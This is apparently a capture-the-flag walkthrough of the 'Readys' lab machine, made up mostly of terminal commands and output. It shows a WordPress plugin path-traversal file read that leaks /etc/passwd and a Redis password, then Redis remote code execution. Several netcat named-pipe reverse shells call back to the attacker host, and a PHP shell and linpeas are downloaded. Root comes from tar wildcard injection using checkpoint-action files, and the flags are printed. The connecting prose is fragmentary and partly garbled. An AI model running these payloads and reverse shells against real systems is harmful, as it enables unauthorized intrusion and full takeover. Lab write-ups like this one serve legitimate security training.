

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.172.166 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.172.166:22
Open 192.168.172.166:80
Open 192.168.172.166:6379

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.4.38 ((Debian))
|_ http-title: Readys &#8211; Just another WordPress site
|_ http-generator: WordPress 5.7.2
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.38 (Debian)
6379/tcp  open  redis    syn-ack Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
`` Check`http://192.168.172.166`,wordpress,use`wpscan`
```

```
(kali㉿kali)-[~/pgplay]
└─$ wpscan -url http://192.168.172.166
```

[+] URL: <http://192.168.172.166/> [192.168.172.166]

[+] Started: Thu May 9 03:56:10 2024

Interesting Finding(s):

[+] Headers

| Interesting Entry: Server: Apache/2.4.38 (Debian)

| Found By: Headers (Passive Detection)

| Confidence: 100%

[+] XML-RPC seems to be enabled: <http://192.168.172.166/xmlrpc.php>

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

| References:

| - http://codex.wordpress.org/XML-RPC_Pingback_API

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/

| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: <http://192.168.172.166/readme.html>

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

[+] Upload directory has listing enabled: <http://192.168.172.166/wp-content/uploads/>

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

[+] The external WP-Cron seems to be enabled: <http://192.168.172.166/wp-cron.php>

| Found By: Direct Access (Aggressive Detection)

| Confidence: 60%

| References:

| - <https://www.iplocation.net/defend-wordpress-from-ddos>

| - <https://github.com/wpscanteam/wpscan/issues/1299>

[+] WordPress version 5.7.2 identified (Insecure, released on 2021-05-12).

| Found By: Rss Generator (Passive Detection)

| - <http://192.168.172.166/index.php/feed/>, <generator><https://wordpress.org/?v=5.7.2></generator>

| - <http://192.168.172.166/index.php/comments/feed/>, <generator><https://wordpress.org/?v=5.7.2></generator>

[+] WordPress theme in use: twentytwentyone

| Location: <http://192.168.172.166/wp-content/themes/twentytwentyone/>

| Last Updated: 2024-04-02T00:00:00.000Z

| Readme: <http://192.168.172.166/wp-content/themes/twentytwentyone/readme.txt>

| [!] The version is out of date, the latest version is 2.2

| Style URL: <http://192.168.172.166/wp-content/themes/twentytwentyone/style.css?ver=1.3>

| Style Name: Twenty Twenty-One


```

../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words:
14, Lines: 29, Duration: 65ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words:
14, Lines: 29, Duration: 66ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530,
Words: 14, Lines: 29, Duration: 66ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14,
Lines: 29, Duration: 65ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14, Lines:
29, Duration: 65ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14, Lines: 29,
Duration: 64ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14, Lines: 29,
Duration: 65ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14, Lines: 29,
Duration: 65ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14, Lines: 29,
Duration: 65ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14, Lines: 29,
Duration: 65ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14, Lines: 29,
Duration: 65ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14, Lines: 29,
Duration: 64ms]
/etc/resolv.conf [Status: 200, Size: 64, Words: 2, Lines: 2, Duration: 66ms]
/etc/rpc [Status: 200, Size: 924, Words: 36, Lines: 41, Duration: 66ms]
/etc/ssh/sshd_config [Status: 200, Size: 3272, Words: 293, Lines: 122, Duration: 65ms]
/proc/cpuinfo [Status: 200, Size: 1202, Words: 146, Lines: 29, Duration: 64ms]
/proc/loadavg [Status: 200, Size: 65, Words: 5, Lines: 2, Duration: 64ms]
/proc/interrupts [Status: 200, Size: 3397, Words: 1289, Lines: 66, Duration: 65ms]
/proc/meminfo [Status: 200, Size: 1372, Words: 466, Lines: 49, Duration: 65ms]
/proc/net/dev [Status: 200, Size: 485, Words: 238, Lines: 5, Duration: 66ms]
/proc/mounts [Status: 200, Size: 2199, Words: 151, Lines: 31, Duration: 66ms]
/proc/net/arp [Status: 200, Size: 195, Words: 73, Lines: 3, Duration: 66ms]
/proc/net/route [Status: 200, Size: 421, Words: 211, Lines: 4, Duration: 65ms]
/proc/net/tcp [Status: 200, Size: 637, Words: 222, Lines: 5, Duration: 65ms]
/proc/self/cmdline [Status: 200, Size: 64, Words: 1, Lines: 1, Duration: 65ms]
/proc/partitions [Status: 200, Size: 213, Words: 89, Lines: 8, Duration: 65ms]
/proc/self/status [Status: 200, Size: 1077, Words: 89, Lines: 55, Duration: 65ms]
/proc/version [Status: 200, Size: 175, Words: 14, Lines: 2, Duration: 65ms]
/etc/apt/sources.list [Status: 200, Size: 918, Words: 89, Lines: 22, Duration: 2787ms]
/var/log/lastlog [Status: 200, Size: 37, Words: 1, Lines: 1, Duration: 64ms]
/var/log/wtmp [Status: 200, Size: 3877, Words: 1, Lines: 2, Duration: 65ms]
/var/www/html/.htaccess [Status: 200, Size: 560, Words: 52, Lines: 16, Duration: 65ms]
../../../../../../../../etc/passwd [Status: 200, Size: 1530, Words: 14, Lines: 29, Duration: 66ms]
/var/run/utmp [Status: 200, Size: 1189, Words: 1, Lines: 1, Duration: 838ms]
:: Progress: [924/924] :: Job [1/1] :: 111 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
``` Go to `http://192.168.172.166/wp-content/plugins/site-
editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd`

```

```

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534:/:nonexistent:/usr/sbin/nologin systemd-
timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-networkx:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin

```

```
systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
mysql:x:106:112:MySQL Server,,:/nonexistent:/bin/false
redis:x:107:114::/var/lib/redis:/usr/sbin/nologin
alice:x:1000:1000:/home/alice:/bin/bash {"success":true,"data":{"output":[]}}
``` redis-rce,tryCheck/etc/redis/redis.conf,to seeReady4Redis?
```

```
http://192.168.172.166/wp-content/plugins/site-
editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf

...
##### SECURITY #####
# Require clients to issue AUTH before processing any other
# commands. This might be useful in environments in which you do not trust
# others with access to the host running redis-server.
#
# This should stay commented out for backward compatibility and because most
# people do not need auth (e.g. they run their own servers).
#
# Warning: since Redis is pretty fast an outside user can try up to
# 150k passwords per second against a good box. This means that you should
# use a very strong password otherwise it will be very easy to break.
# requirepass Ready4Redis?
...
``` login
```

```
(kali㉿kali)-[~/pgplay/redis-rce]
└─$ python3 redis-rce.py -f module.so -r 192.168.172.166 -p 6379 -L 192.168.45.245 -P 6379 -a Ready4Redis?
```

```
[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
[+] Interactive shell open , use "exit" to exit...
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp6379
```

```
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.245 6379 >/tmp/f
```

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
redis@readys:~$ redis@readys:~$ whoami
redis
``` find,Checkcandirectory,tryshell.php/run/redisGo to /run/redis/shell.phpget reverse
```

```
redis@readys:/tmp$ find / -writable -type d 2>/dev/null
find / -writable -type d 2>/dev/null
/dev/mqueue
/dev/shm
/tmp
/proc/1377/task/1377/fd
/proc/1377/fd
/proc/1377/map_files
/run/redis
/opt/redis-files
/var/tmp
/var/lib/redis
/var/log/redis

redis@readys:/run/redis$ wget 192.168.45.245/shell.php

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp22

192.168.172.166/wp-content/plugins/site-
editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/run/redis/shell.php
``` `alice`,`/home/alice`get local.txt
```

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
alice@readys:/ $ whoami
alice
```

```
alice@readys:/home/alice$ cat local.txt
1047586795c9647db966b4626c315d67
``` linpeas.sh
```

```
alice@readys:/tmp$ wget 192.168.45.245/linpeas.sh
alice@readys:/tmp$ chmod +x linpeas.sh
alice@readys:/tmp$ ./linpeas.sh

===== Cron jobs
🔗 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
incrontab Not Found
-rw-r--r-- 1 root root      42 Nov 12  2021 /etc/crontab

*/3 * * * * root /usr/local/bin/backup.sh

alice@readys:/ $ cat /usr/local/bin/backup.sh
#!/bin/bash

cd /var/www/html
if [ $(find . -type f -mmin -3 | wc -l) -gt 0 ]; then
tar -cf /opt/backups/website.tar *
fi
``` ` /var/www/html` [Wildcard Injection] (https://medium.com/@silver-garcia/how-to-abuse-tar-wildcards-for-privilege-escalation-tar-wildcard-injection-612a6eac0807) [Linux Privilege Escalation: Wildcards with tar] (https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa), cronjobRun
```

## reverse.sh

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.245 80 >/tmp/f
```

```
└─(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80
```

```
alice@readys:/var/www/html$ wget 192.168.45.245/reverse.sh
alice@readys:/var/www/html$ chmod +x reverse.sh
alice@readys:/var/www/html$ echo "" > '-checkpoint=1'
alice@readys:/var/www/html$ echo "" > '-checkpoint-action=exec=sh reverse.sh'
```

## python3 -c 'import pty; pty.spawn("/bin/bash")'

```
root@readys:~# cat proof.txt
65ed4f507d51aeee75ff02b4cc51cfdb
```

---